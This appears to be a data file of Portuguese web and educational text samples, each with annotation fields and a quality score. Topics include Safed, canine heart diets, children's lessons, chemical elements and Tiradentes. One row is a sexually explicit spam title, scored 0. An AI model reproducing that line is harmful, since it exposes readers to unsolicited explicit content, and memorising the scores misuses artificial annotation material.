Oriente Médio. Este cenário inspira o homem a meditar, a elevar a alma e o coração, até o espírito encontrar o seu paraíso, longe das agruras materiais. No século 16, com a expulsão dos judeus da Península Ibérica e com o beneplácito do Império Otomano, um número significativo se estabeleceu na cidade, incluindo grandes rabinos. Tzfat se tornou o centro de estudos da Cabalá e principalmente do Zohar (O Livro do Esplendor), de Rabi Shimon bar Yochai. +O cemitério de Safed abriga túmulos de personagens importantes da história judaica: autores do Talmud (Mishná e Guemará), cabalistas, sábios e eruditos. Diariamente encontram-se pessoas rezando e acendendo velas em redor dos locais onde os Tzadikim estão enterrados. Entre os túmulos, encontram-se não apenas heróis do passado distante, mas, também, do recente, como jovens que lutaram contra o Mandato Britânico, entre os quais Dov Gruner - que foi executado pelos ingleses, e membros das Forças de Defesa de Israel. +Como parte das comemorações, na véspera de Lag Baomer centenas de judeus saem pelas ruas de Tzfat, começando pela casa dos Abuhab, uma família tradicional sefaradi da região, levando uma Torá centenária a Meron. O cortejo é acompanhado por conjunto de klezmer e segue até Meron. Ao longo do caminho, a Torá é passada de mãos em mãos às pessoas de mais destaque na comunidade.",original,original,original,original,3,0.6 +"Como tratar cardiopatias de forma natural - Meu Cão Velhinho Como tratar cardiopatias de forma natural - Meu Cão Velhinho +>> Como tratar cardiopatias de forma natural +Você sabia que a dieta é um dos componentes mais importantes no tratamento das doenças cardíacas? e que, com uma nutrição adequada, é possível não apenas melhorar a qualidade de vida do seu cão, como reduzir as quantidades de medicamentos necessárias e prolongar a sua vida? +Quando um cão tem insuficiência cardíaca, numa tentativa de manter a pressão arterial e a perfusão tecidual (ou seja: fazer com que o sangue chegue em todos os lugares), o seu corpo ativa mecanismos que são chamados compensatórios, que nada mais são do que tentativas de “compensar” um desequilíbrio com outro. No caso da insuficiência cardíaca, o coração não consegue mais bombear o sangue adequadamente para todo o corpo; para tentar fazer com que o sangue chegue a todos os lugares do corpo, um sistema complexo faz com que o coração bata mais rápido (taquicardia), as artérias fiquem mais estreitas (vasoconstrição) para aumentar a pressão sanguínea, e ocorra a retenção de sódio (sal) e de água. O resultado deste mecanismo, inteligente e eficaz a curto prazo, porém extremamente danoso a longo prazo, é que o sangue passa a circular mais rapidamente, com maior pressão, e em maior volume. +O problema é que as doenças cardíacas não são de “curto prazo”, muito pelo contrário; e a consequência disso é que o mecanismo que deveria ajudar o corpo a funcionar melhor, na verdade acaba por sobrecarregar ainda mais um coração que já não estava dando conta do recado – afinal, agora ele precisa bombear mais sangue, mais rapidamente, e com maior pressão. A médio/ longo prazo, este mecanismo compensatório se torna bastante prejudicial ao organismo, e, além de agravar a própria doença cardíaca, levando a complicações como dificuldade respiratória e edema pulmonar, ainda pode causar problemas renais. +E o que a dieta tem a ver com isso tudo? Bom, a chave aqui é o sódio: todo mundo sabe que pessoas com problema de pressão alta não devem consumir alimentos com excesso de sal, pois eles fazem com que a pressão aumente. A mesma regra vale para os nossos amigos cães. Lembra que mencionamos acima, que, numa tentativa de compensar o problema cardíaco, o corpo começa a reter sódio e tentar aumentar a pressão sanguínea? É este o mecanismo que nós temos que deter. Inclusive, boa parte dos medicamentos utilizados no tratamento de doenças cardíacas se presta exatamente a isso: a tentar conter este mecanismo. +Um cão com doença cardíaca deve, portanto, consumir menos sal. Tenhamos claro, aqui, que menos sal não é sinônimo de nenhum sal. A total ausência de sal na dieta também é prejudicial, pois pode, também (adivinha?), ativar os mesmos mecanismos compensatórios que estamos tentando conter. Estranho, mas é verdade: ao notar que o indivíduo não está consumindo sal, o corpo irá se esforçar ao máximo para “segurar” o que tem… +MAS QUANTO SAL? +Infelizmente, ainda não há um consenso quanto a isso. Não estão estipulados, ainda, valores mínimos ou máximos que um cão deve consumir, seja em condições normais, seja com doença cardíaca. Alguns estudos têm sugerido que, para cães com insuficiência cardíaca leve, é indicado que o sódio represente de 0,15% a 0,25% da matéria seca ingerida, e de 0,08% a 0,15% para cães com insuficiência cardíaca avançada. +Para se ter uma comparação com as dietas comerciais específicas para cães cardiopatas disponíveis no Brasil, temos que: +A Royal Canin Early Cardiac Canine (seca) contém 0,16% de sódio; +A Hill’s Prescription Diet h/d contém 0,08% de sódio; +A Equilíbrio Veterinary Cardiac contém 0,2% de sódio; +A Premiatta Canine Cardiac contém 0,06% de sódio; +A Premier Nutrição Clínica Cardio Cães contém 0,15% de sódio. +Além dos teores restritos de sódio, as rações comerciais específicas para cães com problemas cardíacos contêm outros nutrientes importantes que ajudam na melhora da função cardíaca, tais como antio...",original,original,original,original,2,0.4 +"Olá, pequenos exploradores da matemática! Já pararam para pensar que o mundo ao nosso redor é feito de formas? Sejam elas grandes ou pequenas, simples ou complexas, as formas geométricas estão por toda parte, esperando para serem descobertas! + +Hoje, vamos embarcar em uma aventura para entender melhor o que são essas formas e como elas fazem parte do nosso dia a dia. Imaginem uma bola de futebol. Qual forma ela lembra? Isso mesmo, uma esfera! E a telha da sua casa? Provavelmente, um retângulo! As formas geométricas são como os blocos de construção do universo, e com elas podemos criar quase tudo! + +Começando pelas formas mais simples, temos o círculo, que é como um anel perfeito, sem começo nem fim. Pensem em um prato ou em uma moeda. Depois, temos o quadrado, com seus quatro lados iguais, como um biscoito quadrado delicioso. O triângulo, com seus três lados, pode ser visto em fatias de pizza ou no telhado de algumas casas. E o retângulo, um primo do quadrado, mas com dois lados mais longos, como a porta da nossa sala ou um livro. + +Mas as formas não param por aí! Existem muitas outras, como o trapézio, o losango e até formas tridimensionais, que têm altura, largura e profundidade, como o cubo (pensem em um dado!), o paralelepípedo (como uma caixa de sapatos!) e a pirâmide (como as pirâmides do Egito!). + +Agora, que tal olharmos ao nosso redor e identificarmos as formas? Observem a sala de aula, a sua casa, o parque... Quantos círculos, quadrados, triângulos e retângulos vocês conseguem encontrar? Será que descobrem outras formas mais diferentes? + +Entender as formas geométricas é muito importante, pois nos ajuda a descrever o mundo, a construir coisas, a resolver problemas e até a criar arte! Pintores, arquitetos e designers usam formas o tempo todo para expressar suas ideias e construir coisas incríveis. A geometria nos ajuda a entender o espaço e as relações entre os objetos. + +Então, da próxima vez que vocês olharem para o céu, lembrem-se que o Sol é um círculo gigante. Quando forem comer um sanduíche, pensem se ele tem forma de triângulo. E quando forem brincar com blocos, observem as diferentes formas que vocês podem construir. A geometria está em todo lugar, esperando para ser explorada e aprendida! + +E para terminar, pensem um pouco: se vocês fossem construir uma casa, quais formas geométricas usariam? Por quê? Divirtam-se explorando o mundo das formas!",Matemática,Geometria e formas,anos iniciais (1º ao 5º ano),"O texto introduz de forma lúdica e acessível conceitos básicos de geometria, como círculos, quadrados, triângulos e retângulos, além de formas tridimensionais. Apresenta exemplos práticos e incentiva a observação do ambiente, tornando o aprendizado mais dinâmico e relevante para o cotidiano dos alunos do ensino fundamental. A linguagem é clara e adequada à faixa etária, promovendo o desenvolvimento do raciocínio espacial e da percepção visual. A proposta de reflexão final estimula o pensamento crítico e a aplicação dos conhecimentos adquiridos.",5,1.0 +"Olá, pequenos exploradores! Já pararam para pensar como a leitura pode ser como uma viagem incrível? Imagine que cada livro, cada história, é um novo mundo esperando para ser descoberto. Hoje, vamos aprender juntos como desvendar os segredos da leitura e nos tornarmos verdadeiros aventureiros das palavras. + +A leitura não é apenas juntar letrinhas e formar palavras. É muito mais do que isso! É como se fôssemos detetives, buscando pistas para entender o que o autor quis nos contar. Cada frase é uma pista, cada parágrafo um mistério a ser resolvido. Para sermos bons detetives da leitura, precisamos prestar atenção em tudo: nos personagens, no lugar onde a história acontece, no que eles fazem e como se sentem. + +Vamos pegar um exemplo simples? Imagine que você está lendo uma história sobre um menino chamado João que encontrou um filhote de cachorro abandonado na rua. A história conta que João estava muito feliz em ajudar o cachorrinho e o levou para casa. O que podemos entender com isso? Podemos entender que João é um menino bondoso e que se importa com os animais. Também podemos imaginar como o cachorrinho se sentiu ao ser resgatado e cuidado por João. + +Percebem como a leitura nos permite imaginar e sentir coisas diferentes? É como se entrássemos na pele dos personagens e vivêssemos a história junto com eles. E para entendermos ainda melhor, podemos fazer algumas perguntas importantes: Quem são os personagens principais? Onde a história se passa? O que acontece de mais importante? Como os personagens se sentem? + +Outra dica importante é prestar atenção nas palavras que não conhecemos. Se encontrarmos uma palavra nova, podemos tentar descobrir o que ela significa pelo contexto, ou seja, pelas outras palavras que estão perto dela. Também podemos perguntar para um adulto ou procurar no dicionário. Aprender palavras novas é como encontrar tesouros escondidos! Quanto mais palavras conhecemos, mais fácil fica entender o que lemos. + +E agora, que tal praticarmos um pouco? Peça para um adulto ler uma história para você e tente responder às perguntas que fizemos antes. Ou então, escolha um livro que você goste e comece a ler sozinho. Lembre-se, a leitura é uma aventura sem fim, cheia de surpresas e aprendizados. Quanto mais você lê, mais esperto e criativo você se torna. + +Então, preparem seus óculos de detetive e embarquem nessa jornada maravilhosa pelo mundo da leitura! Descubram novos mundos, conheçam personagens incríveis e desvendem todos os segredos que as palavras têm para nos contar. A leitura é um presente que podemos aproveitar todos os dias. Boa aventura!",Português,Leitura e interpretação de texto,anos iniciais (1º ao 5º ano),"O trecho recebe a pontuação máxima por apresentar alto valor educacional, adequando-se perfeitamente aos anos iniciais do ensino fundamental. Introduz o conceito de leitura como uma aventura, incentivando a interpretação textual e a identificação de elementos-chave da narrativa (personagens, cenário, enredo, sentimentos). Utiliza linguagem acessível e estimula a curiosidade, além de oferecer dicas práticas para a compreensão e o vocabulário. O texto é claro, consistente e focado no aprendizado estruturado, tornando-o um recurso excepcional para o ensino.",5,1.0 +"Já parou para pensar como sabemos o que aconteceu antes de nascermos? Ou como organizamos tantos eventos importantes que moldaram o mundo em que vivemos hoje? A resposta está em uma ferramenta incrível: a linha do tempo! + +A linha do tempo é como um mapa da história, uma forma visual de organizar eventos em ordem cronológica, ou seja, na sequência em que aconteceram. Imagine uma régua gigante, onde cada marcação representa um ano ou um período. Nessa régua, colocamos os acontecimentos importantes, como o descobrimento do Brasil, a invenção do telefone ou até mesmo o dia em que você aprendeu a andar de bicicleta! + +Por que a linha do tempo é tão importante? Porque ela nos ajuda a entender as relações entre os eventos. Por exemplo, se sabemos que a invenção da imprensa aconteceu antes da Reforma Protestante, podemos começar a pensar em como a imprensa pode ter influenciado a Reforma, tornando os textos religiosos mais acessíveis à população. + +Além disso, a linha do tempo nos permite perceber a duração dos eventos e períodos históricos. A escravidão no Brasil durou séculos, enquanto a ditadura militar durou algumas décadas. Visualizar isso na linha do tempo nos ajuda a ter uma dimensão do impacto desses períodos na nossa sociedade. + +Construir uma linha do tempo é mais fácil do que parece! Você pode começar com eventos da sua própria vida: o seu nascimento, o dia em que você entrou na escola, viagens importantes, conquistas especiais. Depois, pode expandir para a história da sua família, da sua cidade, do seu país e do mundo! + +Para criar uma linha do tempo, você pode usar papel, cartolina, programas de computador ou aplicativos de celular. O importante é escolher os eventos que você quer registrar e organizá-los na ordem correta. Você pode usar imagens, desenhos e pequenas descrições para tornar a sua linha do tempo ainda mais interessante e informativa. + +A história não é apenas um amontoado de datas e nomes. É uma narrativa complexa e fascinante, cheia de personagens, reviravoltas e consequências. A linha do tempo é uma ferramenta poderosa para organizar essa narrativa e nos ajudar a entender o passado, para que possamos construir um futuro melhor. + +Que tal começar a sua própria linha do tempo hoje mesmo? Comece com os eventos mais recentes e vá voltando no tempo, pesquisando e descobrindo como o passado moldou o presente. Quem sabe você não se torna um detetive da história, desvendando os mistérios do tempo!",História,Linha do tempo,anos finais (6º ao 9º ano),"O trecho é altamente relevante para o ensino fundamental, apresentando o conceito de linha do tempo de forma clara e envolvente. Ele introduz a importância da organização cronológica dos eventos históricos, incentivando o aluno a construir sua própria linha do tempo pessoal e expandir para contextos maiores. A linguagem é acessível e adequada para o público-alvo, tornando o aprendizado divertido e estimulante.",5,1.0 +"Aplicações do iodo no cotidiano e onde ele é encontrado na natureza +Imagem em formato PDF para imprimir +Quanto do elemento iodo existe no… +– é o 63º elemento maia abundante na crosta terrestre +– minerais com iodo são raros; boa parte dos depósitos minerais estão na forma de iodatos +Quais são as principais aplicações do elemento iodo no cotidiano? +– é adicionado no sal (de cozinha) para evitar o bócio +– antigamente era utilizado em uma técnica fotográfica conhecida como daguerrótipo +– usado na indústria farmacêutica e como desinfetante na medicina +– em tintas de impressão, corantes e pigmentos +– o isótopo radioativo iodo-131 é algumas vezes utilizado para tratamento de câncer na tireoide +– como catalisador na indústria; no processo Cativa +Hoje é dia do Maxim Thoisoi mostrar as propriedades e reações químicas do elemento césio. +Um alerta. Normalmente o césio não é radioativo. Estamos acostumados em pensar em radioatividade por causa do acidente com o césio em Goiânia; no entanto naquele caso o isótopo radioativo césio 137 é que foi responsável pela contaminação. +A amostra apresentada no vídeo possui um tom dourado, e isso é devido à presença de traços de oxigênio – que se removido acaba por deixar o césio mais pálido. +Em uma das reações do césio com a umidade do ar é possível perceber a bela cor violeta da chama – uma característica deste elemento químico. +Você também poderá ver no vídeo o elemento reagindo com areia, etanol, sulfato de manganês, cobre e enxofre. +O vídeo tem legenda em português. Ative a exibição pelo YouTube. +Infelizmente é um material bastante caro para realizar experimentos. Uma ampola com 1 grama do elemento pode custar mais de 150 euros! +Para ver mais vídeos e informações sobre o césio clique aqui. +Onde é encontrado e qual é a utilidade do elemento ítrio +Corpo humano – (dados não disponíveis) +Onde podemos encontrar o ítrio? +– é o 28º colocado entre os elementos mais abundantes na crosta terrestre +– o mineral xenótimo (YPO4) pode conter até 50% de fosfato de ítrio; e é minerado na China e Malásia +Quais são as principais aplicações cotidianas do elemento ítrio? +– usado para aprimorar ligas dos metais alumínio, cromo e magnésio +– em sistemas de geração de lasers +– na geração da cor vermelha em antigos tubos de televisões coloridas +– na forma de Y3Fe5O12 é utilizado como um meio para filtrar microondas +– granada de ítrio e alumínio é usada em joalheria para simular um diamante +– óxido de ítrio é adicionado em lentes de câmeras para torná-la resistente aos impactos e ao calor +– o isótopo radioativo de ítrio-90 pode ser usado na medicina; no tratamento de câncer de fígado, por exemplo +Onde podemos encontrar o estrôncio? +– está na 15ª posição entre os elementos mais abundantes na crosta terrestre +– encontrado principalmente na forma de sulfato (SrSO4) ou carbonato (SrCO3) +Quais são as principais aplicações do elemento estrôncio no dia a dia? +– era utilizado na produção de vidros para televisão com tubo (modelos antigos) +– na produção de fogos de artifício; principalmente para obter uma cor avermelhada nos fogos +– o isótopo de estrôncio-90 tem sido usado em sistemas de geradores termoelétricos por radioisótopos +– cloreto de estrôncio hexahidratado faz parte da composição de alguns cremes dentais para dentes sensíveis +– tintas modernas do tipo ‘brilha no escuro’ podem conter aluminato de estrôncio +– o titanato de estrôncio (SrTiO3) pode ser usado como uma imitação do diamante +O Laboratório Nacional de Oak Ridge foi inaugurado com a missão de produzir plutônio para armas nucleares, mas, após a Segunda Guerra Mundial, encontrou uma nova vocação. +Em 1942, o presidente Roosevelt ordenou que o Corpo de Engenheiros do Exército dos EUA coordenasse a pesquisa sobre armas nucleares. A iniciativa que veio a ser conhecida como o Projeto Manhattan envolveu laboratórios nacionais em todo o país. Uma dessas instalações, Clinton Laboratories, encontrou um lar improvável no leste do Tennessee. +O leste do Tennessee não parecia um lo...",original,original,original,original,3,0.6 +"25 | março | 2007 | SinapsesLinks +Início2007março25 +Dia: mar 25, 2007 @ 7:51 +mar 25, 2007 @ 7:51 ago 25, 2011 @ 5:18 SinapsesLinks _BlogSpot _BlogSpot +mar 25, 2007 @ 7:50 ago 25, 2011 @ 5:18 SinapsesLinks _BlogSpot _BlogSpot +52 Quatro Pétalas +mar 25, 2007 @ 7:49 ago 25, 2011 @ 5:18 SinapsesLinks _Especial Quatro Pétalas +mar 25, 2007 @ 7:48 ago 25, 2011 @ 5:18 SinapsesLinks _BlogSpot _BlogSpot +mar 25, 2007 @ 7:47 ago 25, 2011 @ 5:18 SinapsesLinks _Especial persistência +mar 25, 2007 @ 7:46 ago 25, 2011 @ 5:18 SinapsesLinks _BlogSpot _BlogSpot +52 Fortuna +mar 25, 2007 @ 7:45 ago 25, 2011 @ 5:18 SinapsesLinks _Especial Fortuna, Pitágoras +mar 25, 2007 @ 7:44 ago 25, 2011 @ 5:18 SinapsesLinks _BlogSpot _BlogSpot +52 ESE Capítulo 23 +mar 25, 2007 @ 7:41 ago 25, 2011 @ 5:17 SinapsesLinks _Especial Estranha Moral, Jesus +Capítulo XXIII – Estranha Moral – Jesus +Como nas suas pegadas caminhasse grande massa de povo, Jesus, voltando-se, disse-lhes: – Se alguém vem a mim e não odeia a seu pai e a sua mãe, a sua mulher e a seus filhos, a seus irmãos e irmãs, mesmo a sua própria vida, não pode ser meu discípulo. -E quem quer que não carregue a sua cruz e me siga, não pode ser meu discípulo. – Assim, aquele dentre vós que não renunciar a tudo o que tem não pode ser meu discípulo. (S. LUCAS, cap. XIV, vv. 25 a 27 e 33.) +mar 25, 2007 @ 7:39 ago 25, 2011 @ 5:17 SinapsesLinks _Especial Eubiose, intenção, Intuição, vontade +mar 25, 2007 @ 7:39 ago 25, 2011 @ 5:17 SinapsesLinks _BlogSpot _BlogSpot +52 Cortesia +mar 25, 2007 @ 7:35 ago 25, 2011 @ 5:17 SinapsesLinks _Especial cliente, Cortesia +Eu sou o homem que vai a um restaurante, senta-se à mesa e pacientementeespera, enquanto o garçom faz tudo, menos o meu pedido. +Eu sou o homem que entra num banco e aguarda tranqüilamente que as recepcionistas e os caixas terminem de conversar com seus amigos e espera pacientemente enquanto os funcionários trocam idéias entre si, ou simplesmente baixam a cabeça e fingem não me ver. +Você deve estar pensando que sou uma pessoa quieta, paciente, do tipo que nunca cria problemas. Engana-se… +Maria Christina Camargo Leal – Taubaté-SP – Brasil +381.613 hits",original,original,original,original,1,0.2 +"O consumo de alimentos funcionais tem se intensificado nos últimos anos. Eles se distinguem por propriedades benéficas à saúde, melhorando as funções fisiológicas, potencializando o valor nutricional dos alimentos, auxiliando o equilíbrio e a atividade da microbiota intestinal, reduzindo o risco de determinadas doenças. Probióticos e prebióticos são exemplos de ingredientes funcionais que vêm sendo empregados pela indústria de alimentos com vistas à oferta de produtos mais saudáveis, nutritivos e funcionais. +Entretanto, as condições de processamento, armazenamento e ingestão dos alimentos em que os probióticos são adicionados podem provocar uma redução em sua viabilidade, fazendo com que não alcancem o sítio de ação em quantidades adequadas para conferir benefícios desejados. Neste contexto, o acondicionamento em sistemas de microencapsulação oferece proteção, além de proporcionar a liberação controlada deste ativo no local de atuação. +Com o objetivo de conferir maior resistência a estes microrganismos ao longo dos processos de produção e armazenamento e garantir ainda sua atuação no intestino, onde devem chegar em quantidades adequadas, vêm sendo utilizadas técnicas de microencapsulação, que consistem em revestir materiais de interesse, proporcionando proteção às condições adversas a que são expostos. +Nessa direção se orientou o trabalho desenvolvido pela mestra em engenharia de alimentos Karen Cristina Guedes Silva, no Laboratório de Engenharia de Processos, orientada pela professora Ana Carla Kawazoe Sato, do Departamento de Engenharia de Alimentos da Faculdade de Engenharia de Alimentos (FEA) da Unicamp. +Em sua dissertação, Karen avalia a influência da adição de prebióticos e probióticos na produção de microgéis de alginato e gelatina e também a eficiência da técnica de encapsulação na sobrevivência e viabilidade dos microrganismos probióticos encapsulados isolada e conjuntamente com prebióticos. Ela estuda ainda a viabilidade e a cinética de liberação dos microrganismos probióticos após a passagem pelos fluidos gástricos e intestinais por simulação in vitro, além de avaliar a estabilidade e viabilidade dos probióticos microencapsulados adicionados em iogurte ao longo de 28 dias de armazenamento. +A microencapsulação é uma técnica que permite proteger compostos de interesse utilizando diferentes tipos de materiais poliméricos, convertendo-os em produtos de maior conveniência e aplicabilidade, além de possibilitar sua liberação controlada e melhorar a biodisponibilidade dos ativos, sendo largamente empregada pela indústria farmacêutica. +A microencapsulação voltada para aplicação em alimentos deve garantir a utilização de polímeros biodegradáveis, pois estes não apresentam toxicidade e degradam-se em determinadas condições. +A microencapsulação de compostos ativos apresenta grande potencialidade na indústria de alimentos e, por isso, estudos que visam a melhoria de processos, a caracterização da cinética de liberação, através de testes de simulação in vitro das condições gastrointestinais e viabilidade, podem contribuir para evolução do setor e possibilitar sua aplicação em escala industrial em alimentos diversificados. +O que foi feito +Primeiramente, a pesquisadora selecionou uma combinação de biopolímeros e produziu a partir destes as soluções biopoliméricas que dariam origem aos microgéis. Na solução formada a partir dos biopolímeros foram adicionados o probiótico e o prebiótico. Mas antes disso, a pesquisadora avaliou diferentes concentrações de prebióticos a serem adicionadas à matriz biopolimérica para determinar aquela que proporcionaria a formação de microgéis mais resistentes. Nos testes preliminares foram avaliadas então propriedades reológicas como viscosidade e textura, para que pudesse ser definida a concentração ótima do prebiótico mais adequada à encapsulação. +A partir então da solução dos biopolímeros que continha o probiótico e o prebiótico produziram-se os microgéis, que foram caracterizados por microscopia el...",original,original,original,original,4,0.8 +"Os dog walkers em Centro são treinados para passeios com cachorros com base em nossos certificados internacionais de dog walker. +Passeio para Gato em Centro - RJ +Parque Santo Amaro - Campos dos Goytacazes - RJA 1.56 km de você +São coletadas diversas informações, e inclusive é feita checagem de histórico criminal de cada dog walker. Os dog walkers de Centro foram também certificados pela Dra Carol Rocha, fundadora da Pet Anjo, para passearem com cachorros. +Todo o curso tem base em nossos certificados internacionais de dog walker e primeiros socorros para animais. Os dog walker de Centro são passeadores de cachorros profissionais e de confiança. Ele poderá passear no seu bairro Centro - RJ por uma hora ou mais. +O serviço de dog walker da Pet Anjo é oferecido pertinho de você, no Centro - RJ Dog walker: encontre agora o seu!",original,original,original,original,2,0.4 +"Catamarã fala da relação entre um rapaz, o peixe-bolha, que está muito zangado com as palavras, e uma rapariga, a Catamarã, que sonha um dia viajar de barco até ao Pacífico. Fala também de erros ortográficos, de significado e significante, de letras e palavras fora do lugar, e de como esta desarrumação pode mudar o sentido de tudo… +Mas esta não é uma peça sobre dislexia, ou sobre escolaridade, é sobretudo uma história sobre crescimento, sobre a nossa relação com o tempo e com os outros, sobre a distância que não se mede com números, e sobre palavras… mesmo aquelas difíceis de explicar.",original,original,original,original,2,0.4 +Na festinha gozando na boca da esposa de alguém 3 1 5 9,original,original,original,original,0,0.0 +"O Salão da Junta de Freguesia de São Victor conta todas as semanas com aulas de dança de salão. Francisco Maia é o responsável por pôr os mais velhos a mexer. Uma atividade que junta dezenas de pessoas com um objetivo comum: dançar! +1. A quem são destinadas estas aulas? +As aulas decorrem há quatro anos na Junta de Freguesia de São Victor, no âmbito da Academia de São Victor. O objetivo foi, desde o início, criar um convívio entre pessoas a partir dos 60 anos, de forma a passarem o tempo livre de que dispõem, aproveitando para lhes ensinar um pouco de danças de salão. +Com o tempo e a procura fomos recebendo pessoas mais novas, sendo que neste momento a nossa aluna mais nova tem 40 anos e o mais velho 90. +2. Quantos alunos frequentam as aulas de dança de salão? +De momento temos 35 alunos. +3. Quais são as danças ensinadas? +Estamos direcionados para as danças clássicas e clássicas latinas: Cha Cha Cha, Rumba, Bolero, Samba, Passo Doble, Jive, Slowfox, Quickstep, Valsa Inglesa, Valsa Vienense e Tango. Claro que adaptamos os passos à faixa etária e, de forma a que não haja cansaço em termos de postura. Tornamos a dança um pouco mais relaxada. +4. Quais os benefícios da prática desta atividade? +Aquilo que está cientificamente provado, e que denotamos ao longo do tempo é, sem sombra de dúvida um alívio do stress, sendo uma ótima forma de combater a ansiedade e a depressão. Como atividade física que exige aprender uma série de passos coordenados, ajuda a recuperar a coordenação motora que ao longo do tempo vamos perdendo, e a aumentar os níveis de autoconfiança de cada um. +Em termos sociais aproxima as pessoas e permite conhecer novas culturas e criar amizades. Temos neste momento pessoas de mais três nacionalidades para além da nossa. +5. Como professor, qual a evolução que tem sentido dos alunos que frequentam as aulas? +No início todos gostam de dizer que são pés de chumbo, que nunca vão conseguir dançar como gostariam, mas a evolução é enorme, sendo que costumo dizer que se os filmasse nas primeiras aulas e passado alguns meses os filmasse novamente não se reconheceriam. +Acima de tudo e ainda mais importante é notória a alegria e a boa disposição que transparece nas aulas. +6. O que é o “Chá Dançante”? +O “Chá Dançante” foi pensado por mim e pelo presidente da Junta de Freguesia de São Victor, Ricardo Silva, como forma de combater o isolamento social a que está sujeita parte da faixa etária mais sénior da freguesia de São Victor. Claro está que acabamos por abrir a atividade à população de todas as freguesias. +Convidamos as pessoas a aparecerem e a relembrarem os antigos bailes que se faziam, e demos uma pequena aula introdutória às danças de salão aos interessados, com a preciosa ajuda da maioria dos meus alunos que se juntaram para ensinar quem queria aprender. No final foi servido um pequeno lanche oferecido pela Junta. +Aproveitou-se a ocasião para apresentar os agentes da PSP responsáveis pelo Policiamento de Proximidade, algo que muitos deles não tinham conhecimento que existia. +7. A PSP também é parceira? Porquê? +A Junta de Freguesia de São Victor e a Academia de São Victor têm a PSP, no âmbito do Policiamento de Proximidade e do combate ao isolamento social, como um parceiro inestimável no acompanhamento cada vez mais pessoal de uma faixa etária que precisa de apoio e de novas formas de viver e de estar em sociedade. +A Junta e a PSP acabam por ser as instituições mais procuradas e a primeira ajuda que estas pessoas procuram quando têm dúvidas ou dificuldades. +8. Planeiam fazer algum acompanhamento online por causa da pandemia? +Estamos neste momento a acompanhar alguns alunos mais velhos que vivem sós, procurando saber das suas necessidades, e estamos também a trabalhar em pequenos vídeos que serão colocados nas redes sociais da Junta de Freguesia de São Victor, com alguns passos de dança para aqueles que têm contas nas redes sociais consigam de alguma forma manter-se ativos. +dança de salãoExercícioIdososs. victorsolidariedadetrei...",original,original,original,original,3,0.6 +"Entretenimento Mundo Gourmet Mundo Pet Turismo Mundo Animal Digital Influencer Lifestyle Tech Bem Estar Reality Cinema/TV Música BBB Exclusivas Dino +Colunistas +Sobre +Contato +Faça sua busca +× +Notícias +Saiba quem foi Tiradentes: o mártir da Inconfidência mineira +Todos os que tinham posses conseguiram escapar da pena máxima, trocando-a pela prisão ou pelo exílio. Tiradentes, em contrapartida, teve a forca como destino +3 min de leitura +@Carlos Tomaz Neto +20 Abr 2022 - 16h21 | Atualizado em 20 Abr 2022 - 16h21 +Compartilhar +O Brasil entra em feriado esta quinta-feira (21) para relembrar e homenagear a vida e a trágica morte de Joaquim José da Silva Xavier, ou simplesmente, Tiradentes. Devido a sua participação na Inconfidência Mineira, um dos primeiros movimentos organizados pelos brasileiros para conseguir a independência do país em relação a Portugal. O inconfidente foi enforcado e esquartejado em 21 de abril de 1792. Séculos depois, Joaquim José da Silva Xavier ainda é lembrado por seu sacrifício. +Tiradentes se tornou o primeiro herói brasileiro, após ser executado como um criminoso, depois da nossa Independência, em 1822. Mas foi em 9 de dezembro de 1965 que o dia 21 de abril (data do enforcamento de Tiradentes) foi considerado feriado nacional. Instituído pelo presidente Castelo Branco, por meio da Lei N. 4.897. A referida norma também concedeu o título de ""Patrono da Nação Brasileira"" a Tiradentes. +No século 18, o Brasil era uma colônia portuguesa que gerava grandes lucros para sua metrópole, em função do ouro e dos diamantes que haviam sido descobertos na região que ficou conhecida como a das Minas Gerais. Esse território tornou-se o centro econômico e cultural do país. Nele, surgiram várias cidades ricas e importantes, como Vila Rica (atual Ouro Preto), São João Del Rei e Sabará. +Monumento de Tiradentes em Ouro Preto, Minas Gerais. (Foto: Reprodução:/Nova Escola) +Portugal explorava o ouro brasileiro, mas nem todas as pessoas ligadas ao garimpo pagavam os impostos que a metrópole cobrava. Também havia contrabando das riquezas minerais. Esses bens não eram infinitos e começaram a se tornar escassos. +O governo português, acreditava que a diminuição no volume de seus lucros com a mineração se devia ao contrabando e à sonegação dos brasileiros. Então, começou a aumentar os impostos e a tomar medidas repressivas contra os naturais da terra. +Frente a isso, os brasileiros se revoltaram contra a Coroa no que ficou conhecido como a Inconfidência Mineira. Não por coincidência, o movimento aconteceu quase na mesma época em que os Estados Unidos se tornaram independentes da Inglaterra. Na Europa, filósofos e pensadores criticavam a monarquia e o poder absoluto dos reis. Tudo isso influenciou as elites de Minas Gerais e as levou a conspirar em prol da Independência do Brasil. +Foto Destaque: Imagem de Tiradentes. (Foto Reproduçao: site: Colégio Jesuíta) +VEJA TAMBÉM +Justiça decreta nova prisão do ex-vereador Gabriel Monteiro +Briga entre dois militares da força aérea Brasileira termina em morte +Justiça determina prisão do ex-vereador Gabriel Monteiro, acusado de estupro +Deixe um comentário +Lorena Bueri CEO, Lorena Bueri, madrinha perola negra lorena bueri, lorena power couple, lorena bueri paparazzi, Lorena R7, Lorena Bueri Revista Sexy, Lorena A Fazenda, Lorena afazenda, lorena bueri sensual, lorena gata do paulistão, lorena bueri gata do paulistão, lorena sexy, diego cristo, diego a fazenda, diego cristo afazendo +X +Sobre +Aqui você fica por dentro de tudo que acontece no Mundo das Celebridades, e do Entretenimento .. Somos um site respeitado, completo, informativo sem ser apelativo, e que tem diversidade de assuntos.",original,original,original,original,3,0.6 +"O concelho da Lourinhã encontra-se na Região Oeste, com 8 freguesias: Lourinhã e Atalaia; Miragaia e Marteleira; Moita dos Ferreiros; Reguengo Grande; Santa Bárbara; Ribamar; São Bartolomeu dos Galegos e Moledo; e Vimeiro. Com doze quilómetros de costa onde se encontram praias, penhascos e tranquilas baías, que permitem a prática de vários desportos náuticos e atividades aquáticas. Já para o interior do concelho, a paisagem rural permite ter condições para o desenvolvimento de atividades relacionadas com a vida agrícola ou mesmo de lazer no meio natural. +Determinante, no século XX aproveitou-se as potencialidades da Praia da Areia Branca, e distribuiu-se domiciliariamente água, também se estabeleceu uma rede de iluminação pública, entre outros acontecimentos que permitiram a Lourinhã tornar-se um concelho com equipamentos que proporcionavam uma boa qualidade de vida e bem-estar social.",original,original,original,original,1,0.2 +"Subscribe to our newsletter for the latest news & analysis on China, Latin America and the environment +Assine nossa newsletter para ler as últimas notícias e análises sobre China, América Latina e o meio ambiente. +Suscribite a nuestro newsletter para las últimas noticias y análisis sobre China, América Latina y el ambiente +Subscribe +Subscrever +Suscribir +By subscribing you agree with our Privacy Policy Ao assinar, você concorda com nossa política de privacidade Al suscribirte, estás aceptando nuestra política de 